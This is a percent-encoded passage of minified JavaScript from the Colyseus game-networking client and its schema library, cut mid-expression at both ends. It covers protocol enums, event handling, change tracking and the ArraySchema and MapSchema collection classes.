)%3C%3C18%7C(63%26e%5B%2B%2Bi%5D)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3E%3D65536%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%7Delse%20r%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3Belse%20r%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e%5B%2B%2Bi%5D)%3Belse%20r%2B%3DString.fromCharCode(a)%7Dreturn%20r%7Dfunction%20O(e)%7Bvoid%200%3D%3D%3De%26%26(e%3D%22%22)%3Bfor(var%20t%3D0%2Cn%3D0%2Cr%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)(t%3De.charCodeAt(r))%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7Ct%3E%3D57344%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%2B1%7De.Protocol%3Dvoid%200%2Cfunction(e)%7Be%5Be.HANDSHAKE%3D9%5D%3D%22HANDSHAKE%22%2Ce%5Be.JOIN_ROOM%3D10%5D%3D%22JOIN_ROOM%22%2Ce%5Be.ERROR%3D11%5D%3D%22ERROR%22%2Ce%5Be.LEAVE_ROOM%3D12%5D%3D%22LEAVE_ROOM%22%2Ce%5Be.ROOM_DATA%3D13%5D%3D%22ROOM_DATA%22%2Ce%5Be.ROOM_STATE%3D14%5D%3D%22ROOM_STATE%22%2Ce%5Be.ROOM_STATE_PATCH%3D15%5D%3D%22ROOM_STATE_PATCH%22%2Ce%5Be.ROOM_DATA_SCHEMA%3D16%5D%3D%22ROOM_DATA_SCHEMA%22%2Ce%5Be.ROOM_DATA_BYTES%3D17%5D%3D%22ROOM_DATA_BYTES%22%7D(e.Protocol%7C%7C(e.Protocol%3D%7B%7D))%2Ce.ErrorCode%3Dvoid%200%2C(b%3De.ErrorCode%7C%7C(e.ErrorCode%3D%7B%7D))%5Bb.MATCHMAKE_NO_HANDLER%3D4210%5D%3D%22MATCHMAKE_NO_HANDLER%22%2Cb%5Bb.MATCHMAKE_INVALID_CRITERIA%3D4211%5D%3D%22MATCHMAKE_INVALID_CRITERIA%22%2Cb%5Bb.MATCHMAKE_INVALID_ROOM_ID%3D4212%5D%3D%22MATCHMAKE_INVALID_ROOM_ID%22%2Cb%5Bb.MATCHMAKE_UNHANDLED%3D4213%5D%3D%22MATCHMAKE_UNHANDLED%22%2Cb%5Bb.MATCHMAKE_EXPIRED%3D4214%5D%3D%22MATCHMAKE_EXPIRED%22%2Cb%5Bb.AUTH_FAILED%3D4215%5D%3D%22AUTH_FAILED%22%2Cb%5Bb.APPLICATION_ERROR%3D4216%5D%3D%22APPLICATION_ERROR%22%3Bvar%20I%3D%7B%7D%3Bfunction%20k(e%2Ct)%7BI%5Be%5D%3Dt%7Dfunction%20T(e)%7Bvar%20t%3DI%5Be%5D%3Bif(!t)throw%20new%20Error(%22missing%20serializer%3A%20%22%2Be)%3Breturn%20t%7Dvar%20C%3Dfunction()%7Breturn%7Bemit%3Afunction(e)%7Bfor(var%20t%3D%5B%5D%2Cn%3D1%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn-1%5D%3Darguments%5Bn%5D%3Bfor(var%20r%3Dthis.events%5Be%5D%7C%7C%5B%5D%2Co%3D0%2Ci%3Dr.length%3Bo%3Ci%3Bo%2B%2B)r%5Bo%5D.apply(r%2Ct)%7D%2Cevents%3A%7B%7D%2Con%3Afunction(e%2Ct)%7Bvar%20n%2Cr%3Dthis%3Breturn(null%3D%3D%3D(n%3Dthis.events%5Be%5D)%7C%7Cvoid%200%3D%3D%3Dn%3Fvoid%200%3An.push(t))%7C%7C(this.events%5Be%5D%3D%5Bt%5D)%2Cfunction()%7Bvar%20n%3Br.events%5Be%5D%3Dnull%3D%3D%3D(n%3Dr.events%5Be%5D)%7C%7Cvoid%200%3D%3D%3Dn%3Fvoid%200%3An.filter((function(e)%7Breturn%20t!%3D%3De%7D))%7D%7D%7D%7D%2CR%3Dfunction()%7Bfunction%20e()%7Bthis.handlers%3D%5B%5D%7Dreturn%20e.prototype.register%3Dfunction(e%2Ct)%7Breturn%20this.handlers.push(e)%2Cthis%7D%2Ce.prototype.invoke%3Dfunction()%7Bfor(var%20e%3Dthis%2Ct%3D%5B%5D%2Cn%3D0%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn%5D%3Darguments%5Bn%5D%3Bthis.handlers.forEach((function(n)%7Breturn%20n.apply(e%2Ct)%7D))%7D%2Ce.prototype.invokeAsync%3Dfunction()%7Bfor(var%20e%3Dthis%2Ct%3D%5B%5D%2Cn%3D0%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn%5D%3Darguments%5Bn%5D%3Breturn%20Promise.all(this.handlers.map((function(n)%7Breturn%20n.apply(e%2Ct)%7D)))%7D%2Ce.prototype.remove%3Dfunction(e)%7Bvar%20t%3Dthis.handlers.indexOf(e)%3Bthis.handlers%5Bt%5D%3Dthis.handlers%5Bthis.handlers.length-1%5D%2Cthis.handlers.pop()%7D%2Ce.prototype.clear%3Dfunction()%7Bthis.handlers%3D%5B%5D%7D%2Ce%7D()%3Bfunction%20S()%7Bvar%20e%3Dnew%20R%3Bfunction%20t(t)%7Breturn%20e.register(t%2Cnull%3D%3D%3Dthis)%7Dreturn%20t.once%3Dfunction(t)%7Bvar%20n%3Dfunction()%7Bfor(var%20r%3D%5B%5D%2Co%3D0%3Bo%3Carguments.length%3Bo%2B%2B)r%5Bo%5D%3Darguments%5Bo%5D%3Bt.apply(this%2Cr)%2Ce.remove(n)%7D%3Be.register(n)%7D%2Ct.remove%3Dfunction(t)%7Breturn%20e.remove(t)%7D%2Ct.invoke%3Dfunction()%7Bfor(var%20t%3D%5B%5D%2Cn%3D0%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn%5D%3Darguments%5Bn%5D%3Breturn%20e.invoke.apply(e%2Ct)%7D%2Ct.invokeAsync%3Dfunction()%7Bfor(var%20t%3D%5B%5D%2Cn%3D0%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn%5D%3Darguments%5Bn%5D%3Breturn%20e.invokeAsync.apply(e%2Ct)%7D%2Ct.clear%3Dfunction()%7Breturn%20e.clear()%7D%2Ct%7Dfunction%20P(e)%7Bvar%20t%3D%7Bexports%3A%7B%7D%7D%3Breturn%20e(t%2Ct.exports)%2Ct.exports%7D%22undefined%22!%3Dtypeof%20globalThis%3FglobalThis%3A%22undefined%22!%3Dtypeof%20window%3Fwindow%3Avoid%200!%3D%3Dve%7C%7C%22undefined%22!%3Dtypeof%20self%26%26self%3Bvar%20M%3DP((function(e%2Ct)%7B!function(e%2Cn)%7Bn(t)%7D(0%2C(function(e)%7Bvar%20t%3Dfunction(e%2Cn)%7Breturn%20t%3DObject.setPrototypeOf%7C%7C%7B__proto__%3A%5B%5D%7Dinstanceof%20Array%26%26function(e%2Ct)%7Be.__proto__%3Dt%7D%7C%7Cfunction(e%2Ct)%7Bfor(var%20n%20in%20t)Object.prototype.hasOwnProperty.call(t%2Cn)%26%26(e%5Bn%5D%3Dt%5Bn%5D)%7D%2Ct(e%2Cn)%7D%3Bfunction%20n(e%2Cn)%7Bif(%22function%22!%3Dtypeof%20n%26%26null!%3D%3Dn)throw%20new%20TypeError(%22Class%20extends%20value%20%22%2BString(n)%2B%22%20is%20not%20a%20constructor%20or%20null%22)%3Bfunction%20r()%7Bthis.constructor%3De%7Dt(e%2Cn)%2Ce.prototype%3Dnull%3D%3D%3Dn%3FObject.create(n)%3A(r.prototype%3Dn.prototype%2Cnew%20r)%7Dfunction%20r(e%2Ct%2Cn%2Cr)%7Bvar%20o%2Ci%3Darguments.length%2Cs%3Di%3C3%3Ft%3Anull%3D%3D%3Dr%3Fr%3DObject.getOwnPropertyDescriptor(t%2Cn)%3Ar%3Bif(%22object%22%3D%3Dtypeof%20Reflect%26%26%22function%22%3D%3Dtypeof%20Reflect.decorate)s%3DReflect.decorate(e%2Ct%2Cn%2Cr)%3Belse%20for(var%20a%3De.length-1%3Ba%3E%3D0%3Ba--)(o%3De%5Ba%5D)%26%26(s%3D(i%3C3%3Fo(s)%3Ai%3E3%3Fo(t%2Cn%2Cs)%3Ao(t%2Cn))%7C%7Cs)%3Breturn%20i%3E3%26%26s%26%26Object.defineProperty(t%2Cn%2Cs)%2Cs%7Dfunction%20o(e%2Ct%2Cn)%7Bif(n%7C%7C2%3D%3D%3Darguments.length)for(var%20r%2Co%3D0%2Ci%3Dt.length%3Bo%3Ci%3Bo%2B%2B)!r%26%26o%20in%20t%7C%7C(r%7C%7C(r%3DArray.prototype.slice.call(t%2C0%2Co))%2Cr%5Bo%5D%3Dt%5Bo%5D)%3Breturn%20e.concat(r%7C%7CArray.prototype.slice.call(t))%7Dvar%20i%2Cs%3D255%2Ca%3D213%3Be.OPERATION%3Dvoid%200%2C(i%3De.OPERATION%7C%7C(e.OPERATION%3D%7B%7D))%5Bi.ADD%3D128%5D%3D%22ADD%22%2Ci%5Bi.REPLACE%3D0%5D%3D%22REPLACE%22%2Ci%5Bi.DELETE%3D64%5D%3D%22DELETE%22%2Ci%5Bi.DELETE_AND_ADD%3D192%5D%3D%22DELETE_AND_ADD%22%2Ci%5Bi.TOUCH%3D1%5D%3D%22TOUCH%22%2Ci%5Bi.CLEAR%3D10%5D%3D%22CLEAR%22%3Bvar%20c%3Dfunction()%7Bfunction%20t(e%2Ct%2Cn)%7Bthis.changed%3D!1%2Cthis.changes%3Dnew%20Map%2Cthis.allChanges%3Dnew%20Set%2Cthis.caches%3D%7B%7D%2Cthis.currentCustomOperation%3D0%2Cthis.ref%3De%2Cthis.setParent(t%2Cn)%7Dreturn%20t.prototype.setParent%3Dfunction(e%2Ct%2Cn)%7Bvar%20r%3Dthis%3Bif(this.indexes%7C%7C(this.indexes%3Dthis.ref%20instanceof%20Te%3Fthis.ref._definition.indexes%3A%7B%7D)%2Cthis.parent%3De%2Cthis.parentIndex%3Dn%2Ct)if(this.root%3Dt%2Cthis.ref%20instanceof%20Te)%7Bvar%20o%3Dthis.ref._definition%3Bfor(var%20i%20in%20o.schema)%7Bvar%20s%3Dthis.ref%5Bi%5D%3Bif(s%26%26s.%24changes)%7Bvar%20a%3Do.indexes%5Bi%5D%3Bs.%24changes.setParent(this.ref%2Ct%2Ca)%7D%7D%7Delse%22object%22%3D%3Dtypeof%20this.ref%26%26this.ref.forEach((function(e%2Ct)%7Bif(e%20instanceof%20Te)%7Bvar%20n%3De.%24changes%2Co%3Dr.ref.%24changes.indexes%5Bt%5D%3Bn.setParent(r.ref%2Cr.root%2Co)%7D%7D))%7D%2Ct.prototype.operation%3Dfunction(e)%7Bthis.changes.set(--this.currentCustomOperation%2Ce)%7D%2Ct.prototype.change%3Dfunction(t%2Cn)%7Bvoid%200%3D%3D%3Dn%26%26(n%3De.OPERATION.ADD)%3Bvar%20r%3D%22number%22%3D%3Dtypeof%20t%3Ft%3Athis.indexes%5Bt%5D%3Bthis.assertValidIndex(r%2Ct)%3Bvar%20o%3Dthis.changes.get(r)%3Bo%26%26o.op!%3D%3De.OPERATION.DELETE%26%26o.op!%3D%3De.OPERATION.TOUCH%7C%7Cthis.changes.set(r%2C%7Bop%3Ao%26%26o.op%3D%3D%3De.OPERATION.DELETE%3Fe.OPERATION.DELETE_AND_ADD%3An%2Cindex%3Ar%7D)%2Cthis.allChanges.add(r)%2Cthis.changed%3D!0%2Cthis.touchParents()%7D%2Ct.prototype.touch%3Dfunction(t)%7Bvar%20n%3D%22number%22%3D%3Dtypeof%20t%3Ft%3Athis.indexes%5Bt%5D%3Bthis.assertValidIndex(n%2Ct)%2Cthis.changes.has(n)%7C%7Cthis.changes.set(n%2C%7Bop%3Ae.OPERATION.TOUCH%2Cindex%3An%7D)%2Cthis.allChanges.add(n)%2Cthis.touchParents()%7D%2Ct.prototype.touchParents%3Dfunction()%7Bthis.parent%26%26this.parent.%24changes.touch(this.parentIndex)%7D%2Ct.prototype.getType%3Dfunction(e)%7Bif(this.ref._definition)return(t%3Dthis.ref._definition).schema%5Bt.fieldsByIndex%5Be%5D%5D%3Bvar%20t%2Cn%3D(t%3Dthis.parent._definition).schema%5Bt.fieldsByIndex%5Bthis.parentIndex%5D%5D%3Breturn%20Object.values(n)%5B0%5D%7D%2Ct.prototype.getChildrenFilter%3Dfunction()%7Bvar%20e%3Dthis.parent._definition.childFilters%3Breturn%20e%26%26e%5Bthis.parentIndex%5D%7D%2Ct.prototype.getValue%3Dfunction(e)%7Breturn%20this.ref.getByIndex(e)%7D%2Ct.prototype.delete%3Dfunction(t)%7Bvar%20n%3D%22number%22%3D%3Dtypeof%20t%3Ft%3Athis.indexes%5Bt%5D%3Bif(void%200!%3D%3Dn)%7Bvar%20r%3Dthis.getValue(n)%3Bthis.changes.set(n%2C%7Bop%3Ae.OPERATION.DELETE%2Cindex%3An%7D)%2Cthis.allChanges.delete(n)%2Cdelete%20this.caches%5Bn%5D%2Cr%26%26r.%24changes%26%26(r.%24changes.parent%3Dvoid%200)%2Cthis.changed%3D!0%2Cthis.touchParents()%7Delse%20console.warn(%22%40colyseus%2Fschema%20%22.concat(this.ref.constructor.name%2C%22%3A%20trying%20to%20delete%20non-existing%20index%3A%20%22).concat(t%2C%22%20(%22).concat(n%2C%22)%22))%7D%2Ct.prototype.discard%3Dfunction(t%2Cn)%7Bvar%20r%3Dthis%3Bvoid%200%3D%3D%3Dt%26%26(t%3D!1)%2Cvoid%200%3D%3D%3Dn%26%26(n%3D!1)%2Cthis.ref%20instanceof%20Te%7C%7Cthis.changes.forEach((function(t)%7Bif(t.op%3D%3D%3De.OPERATION.DELETE)%7Bvar%20n%3Dr.ref.getIndex(t.index)%3Bdelete%20r.indexes%5Bn%5D%7D%7D))%2Cthis.changes.clear()%2Cthis.changed%3Dt%2Cn%26%26this.allChanges.clear()%2Cthis.currentCustomOperation%3D0%7D%2Ct.prototype.discardAll%3Dfunction()%7Bvar%20e%3Dthis%3Bthis.changes.forEach((function(t)%7Bvar%20n%3De.getValue(t.index)%3Bn%26%26n.%24changes%26%26n.%24changes.discardAll()%7D))%2Cthis.discard()%7D%2Ct.prototype.cache%3Dfunction(e%2Ct)%7Bthis.caches%5Be%5D%3Dt%7D%2Ct.prototype.clone%3Dfunction()%7Breturn%20new%20t(this.ref%2Cthis.parent%2Cthis.root)%7D%2Ct.prototype.ensureRefId%3Dfunction()%7Bvoid%200%3D%3D%3Dthis.refId%26%26(this.refId%3Dthis.root.getNextUniqueId())%7D%2Ct.prototype.assertValidIndex%3Dfunction(e%2Ct)%7Bif(void%200%3D%3D%3De)throw%20new%20Error('ChangeTree%3A%20missing%20index%20for%20field%20%22'.concat(t%2C'%22'))%7D%2Ct%7D()%3Bfunction%20l(e%2Ct%2Cn%2Cr)%7Breturn%20e%5Bt%5D%7C%7C(e%5Bt%5D%3D%5B%5D)%2Ce%5Bt%5D.push(n)%2Cnull%3D%3Dr%7C%7Cr.forEach((function(e%2Ct)%7Breturn%20n(e%2Ct)%7D))%2Cfunction()%7Breturn%20f(e%5Bt%5D%2Ce%5Bt%5D.indexOf(n))%7D%7Dfunction%20u(t)%7Bvar%20n%3Dthis%2Cr%3D%22string%22!%3Dtypeof%20this.%24changes.getType()%3Bthis.%24items.forEach((function(o%2Ci)%7Bt.push(%7BrefId%3An.%24changes.refId%2Cop%3Ae.OPERATION.DELETE%2Cfield%3Ai%2Cvalue%3Avoid%200%2CpreviousValue%3Ao%7D)%2Cr%26%26n.%24changes.root.removeRef(o.%24changes.refId)%7D))%7Dfunction%20f(e%2Ct)%7Bif(-1%3D%3D%3Dt%7C%7Ct%3E%3De.length)return!1%3Bfor(var%20n%3De.length-1%2Cr%3Dt%3Br%3Cn%3Br%2B%2B)e%5Br%5D%3De%5Br%2B1%5D%3Breturn%20e.length%3Dn%2C!0%7Dvar%20d%3Dfunction(e%2Ct)%7Bvar%20n%3De.toString()%2Cr%3Dt.toString()%3Breturn%20n%3Cr%3F-1%3An%3Er%3F1%3A0%7D%3Bfunction%20h(e)%7Breturn%20e.%24proxy%3D!0%2Ce%3Dnew%20Proxy(e%2C%7Bget%3Afunction(e%2Ct)%7Breturn%22symbol%22%3D%3Dtypeof%20t%7C%7CisNaN(t)%3Fe%5Bt%5D%3Ae.at(t)%7D%2Cset%3Afunction(e%2Ct%2Cn)%7Bif(%22symbol%22%3D%3Dtypeof%20t%7C%7CisNaN(t))e%5Bt%5D%3Dn%3Belse%7Bvar%20r%3DArray.from(e.%24items.keys())%2Co%3DparseInt(r%5Bt%5D%7C%7Ct)%3Bnull%3D%3Dn%3Fe.deleteAt(o)%3Ae.setAt(o%2Cn)%7Dreturn!0%7D%2CdeleteProperty%3Afunction(e%2Ct)%7Breturn%22number%22%3D%3Dtypeof%20t%3Fe.deleteAt(t)%3Adelete%20e%5Bt%5D%2C!0%7D%7D)%2Ce%7Dvar%20p%3Dfunction()%7Bfunction%20t()%7Bfor(var%20e%3D%5B%5D%2Ct%3D0%3Bt%3Carguments.length%3Bt%2B%2B)e%5Bt%5D%3Darguments%5Bt%5D%3Bthis.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Cthis.push.apply(this%2Ce)%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20Array.isArray(e)%7C%7Cvoid%200!%3D%3De.array%7D%2CObject.defineProperty(t.prototype%2C%22length%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cset%3Afunction(e)%7B0%3D%3D%3De%3Fthis.clear()%3Athis.splice(e%2Cthis.length-e)%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.push%3Dfunction()%7Bfor(var%20e%2Ct%3Dthis%2Cn%3D%5B%5D%2Cr%3D0%3Br%3Carguments.length%3Br%2B%2B)n%5Br%5D%3Darguments%5Br%5D%3Breturn%20n.forEach((function(n)%7Be%3Dt.%24refId%2B%2B%2Ct.setAt(e%2Cn)%7D))%2Ce%7D%2Ct.prototype.pop%3Dfunction()%7Bvar%20e%3DArray.from(this.%24indexes.values()).pop()%3Bif(void%200!%3D%3De)%7Bthis.%24changes.delete(e)%2Cthis.%24indexes.delete(e)%3Bvar%20t%3Dthis.%24items.get(e)%3Breturn%20this.%24items.delete(e)%2Ct%7D%7D%2Ct.prototype.at%3Dfunction(e)%7Bvar%20t%3DArray.from(this.%24items.keys())%5Be%5D%3Breturn%20this.%24items.get(t)%7D%2Ct.prototype.setAt%3Dfunction(t%2Cn)%7Bvar%20r%2Co%3Bvoid%200!%3D%3Dn.%24changes%26%26n.%24changes.setParent(this%2Cthis.%24changes.root%2Ct)%3Bvar%20i%3Dnull!%3D%3D(o%3Dnull%3D%3D%3D(r%3Dthis.%24changes.indexes%5Bt%5D)%7C%7Cvoid%200%3D%3D%3Dr%3Fvoid%200%3Ar.op)%26%26void%200!%3D%3Do%3Fo%3Ae.OPERATION.ADD%3Bthis.%24changes.indexes%5Bt%5D%3Dt%2Cthis.%24indexes.set(t%2Ct)%2Cthis.%24items.set(t%2Cn)%2Cthis.%24changes.change(t%2Ci)%7D%2Ct.prototype.deleteAt%3Dfunction(e)%7Bvar%20t%3DArray.from(this.%24items.keys())%5Be%5D%3Breturn%20void%200!%3D%3Dt%26%26this.%24deleteAt(t)%7D%2Ct.prototype.%24deleteAt%3Dfunction(e)%7Breturn%20this.%24changes.delete(e)%2Cthis.%24indexes.delete(e)%2Cthis.%24items.delete(e)%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.concat%3Dfunction()%7Bfor(var%20e%2Cn%3D%5B%5D%2Cr%3D0%3Br%3Carguments.length%3Br%2B%2B)n%5Br%5D%3Darguments%5Br%5D%3Breturn%20new(t.bind.apply(t%2Co(%5Bvoid%200%5D%2C(e%3DArray.from(this.%24items.values())).concat.apply(e%2Cn)%2C!1)))%7D%2Ct.prototype.join%3Dfunction(e)%7Breturn%20Array.from(this.%24items.values()).join(e)%7D%2Ct.prototype.reverse%3Dfunction()%7Bvar%20e%3Dthis%2Ct%3DArray.from(this.%24items.keys())%3Breturn%20Array.from(this.%24items.values()).reverse().forEach((function(n%2Cr)%7Be.setAt(t%5Br%5D%2Cn)%7D))%2Cthis%7D%2Ct.prototype.shift%3Dfunction()%7Bvar%20e%3DArray.from(this.%24items.keys()).shift()%3Bif(void%200!%3D%3De)%7Bvar%20t%3Dthis.%24items.get(e)%3Breturn%20this.%24deleteAt(e)%2Ct%7D%7D%2Ct.prototype.slice%3Dfunction(e%2Cn)%7Bvar%20r%3Dnew%20t%3Breturn%20r.push.apply(r%2CArray.from(this.%24items.values()).slice(e%2Cn))%2Cr%7D%2Ct.prototype.sort%3Dfunction(e)%7Bvar%20t%3Dthis%3Bvoid%200%3D%3D%3De%26%26(e%3Dd)%3Bvar%20n%3DArray.from(this.%24items.keys())%3Breturn%20Array.from(this.%24items.values()).sort(e).forEach((function(e%2Cr)%7Bt.setAt(n%5Br%5D%2Ce)%7D))%2Cthis%7D%2Ct.prototype.splice%3Dfunction(e%2Ct)%7Bvoid%200%3D%3D%3Dt%26%26(t%3Dthis.length-e)%3Bfor(var%20n%3DArray.from(this.%24items.keys())%2Cr%3D%5B%5D%2Co%3De%3Bo%3Ce%2Bt%3Bo%2B%2B)r.push(this.%24items.get(n%5Bo%5D))%2Cthis.%24deleteAt(n%5Bo%5D)%3Breturn%20r%7D%2Ct.prototype.unshift%3Dfunction()%7Bfor(var%20e%3Dthis%2Ct%3D%5B%5D%2Cn%3D0%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn%5D%3Darguments%5Bn%5D%3Bvar%20r%3Dthis.length%2Co%3Dt.length%2Ci%3DArray.from(this.%24items.values())%3Breturn%20t.forEach((function(t%2Cn)%7Be.setAt(n%2Ct)%7D))%2Ci.forEach((function(t%2Cn)%7Be.setAt(o%2Bn%2Ct)%7D))%2Cr%2Bo%7D%2Ct.prototype.indexOf%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).indexOf(e%2Ct)%7D%2Ct.prototype.lastIndexOf%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3Dthis.length-1)%2CArray.from(this.%24items.values()).lastIndexOf(e%2Ct)%7D%2Ct.prototype.every%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).every(e%2Ct)%7D%2Ct.prototype.some%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).some(e%2Ct)%7D%2Ct.prototype.forEach%3Dfunction(e%2Ct)%7BArray.from(this.%24items.values()).forEach(e%2Ct)%7D%2Ct.prototype.map%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).map(e%2Ct)%7D%2Ct.prototype.filter%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).filter(e%2Ct)%7D%2Ct.prototype.reduce%3Dfunction(e%2Ct)%7Breturn%20Array.prototype.reduce.apply(Array.from(this.%24items.values())%2Carguments)%7D%2Ct.prototype.reduceRight%3Dfunction(e%2Ct)%7Breturn%20Array.prototype.reduceRight.apply(Array.from(this.%24items.values())%2Carguments)%7D%2Ct.prototype.find%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).find(e%2Ct)%7D%2Ct.prototype.findIndex%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).findIndex(e%2Ct)%7D%2Ct.prototype.fill%3Dfunction(e%2Ct%2Cn)%7Bthrow%20new%20Error(%22ArraySchema%23fill()%20not%20implemented%22)%7D%2Ct.prototype.copyWithin%3Dfunction(e%2Ct%2Cn)%7Bthrow%20new%20Error(%22ArraySchema%23copyWithin()%20not%20implemented%22)%7D%2Ct.prototype.toString%3Dfunction()%7Breturn%20this.%24items.toString()%7D%2Ct.prototype.toLocaleString%3Dfunction()%7Breturn%20this.%24items.toLocaleString()%7D%2Ct.prototype%5BSymbol.iterator%5D%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%5BSymbol.iterator%5D()%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.keys%3Dfunction()%7Breturn%20this.%24items.keys()%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2Ct.prototype.includes%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).includes(e%2Ct)%7D%2Ct.prototype.flatMap%3Dfunction(e%2Ct)%7Bthrow%20new%20Error(%22ArraySchema%23flatMap()%20is%20not%20supported.%22)%7D%2Ct.prototype.flat%3Dfunction(e)%7Bthrow%20new%20Error(%22ArraySchema%23flat()%20is%20not%20supported.%22)%7D%2Ct.prototype.findLast%3Dfunction()%7Bvar%20e%3DArray.from(this.%24items.values())%3Breturn%20e.findLast.apply(e%2Carguments)%7D%2Ct.prototype.findLastIndex%3Dfunction()%7Bvar%20e%3DArray.from(this.%24items.values())%3Breturn%20e.findLastIndex.apply(e%2Carguments)%7D%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toArray%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%7D%2Ct.prototype.toJSON%3Dfunction()%7Breturn%20this.toArray().map((function(e)%7Breturn%22function%22%3D%3Dtypeof%20e.toJSON%3Fe.toJSON()%3Ae%7D))%7D%2Ct.prototype.clone%3Dfunction(e)%7Breturn%20e%3Fnew(t.bind.apply(t%2Co(%5Bvoid%200%5D%2CArray.from(this.%24items.values())%2C!1)))%3Anew(t.bind.apply(t%2Co(%5Bvoid%200%5D%2Cthis.map((function(e)%7Breturn%20e.%24changes%3Fe.clone()%3Ae%7D))%2C!1)))%7D%2Ct%7D()%3Bfunction%20g(e)%7Breturn%20e.%24proxy%3D!0%2Ce%3Dnew%20Proxy(e%2C%7Bget%3Afunction(e%2Ct)%7Breturn%22symbol%22!%3Dtypeof%20t%26%26void%200%3D%3D%3De%5Bt%5D%3Fe.get(t)%3Ae%5Bt%5D%7D%2Cset%3Afunction(e%2Ct%2Cn)%7Breturn%22symbol%22!%3Dtypeof%20t%26%26-1%3D%3D%3Dt.indexOf(%22%24%22)%26%26%22onAdd%22!%3D%3Dt%26%26%22onRemove%22!%3D%3Dt%26%26%22onChange%22!%3D%3Dt%3Fe.set(t%2Cn)%3Ae%5Bt%5D%3Dn%2C!0%7D%2CdeleteProperty%3Afunction(e%2Ct)%7Breturn%20e.delete(t)%2C!0%7D%7D)%2Ce%7Dvar%20m%3Dfunction()%7Bfunction%20t(e)%7Bvar%20n%3Dthis%3Bif(this.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Ce)if(e%20instanceof%20Map%7C%7Ce%20instanceof%20t)e.forEach((function(e%2Ct)%7Breturn%20n.set(t%2Ce)%7D))%3Belse%20for(var%20r%20in%20e)this.set(r%2Ce%5Br%5D)%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20void%200!%3D%3De.map%7D%2Ct.prototype%5BSymbol.iterator%5D%3Dfunction()%7Breturn%20this.%24items%5BSymbol.iterator%5D()%7D%2CObject.defineProperty(t.prototype%2CSymbol.toStringTag%2C%7Bget%3Afunction()%7Breturn%20this.%24items%5BSymbol.toStringTag%5D%7D%2Cenumerable%3A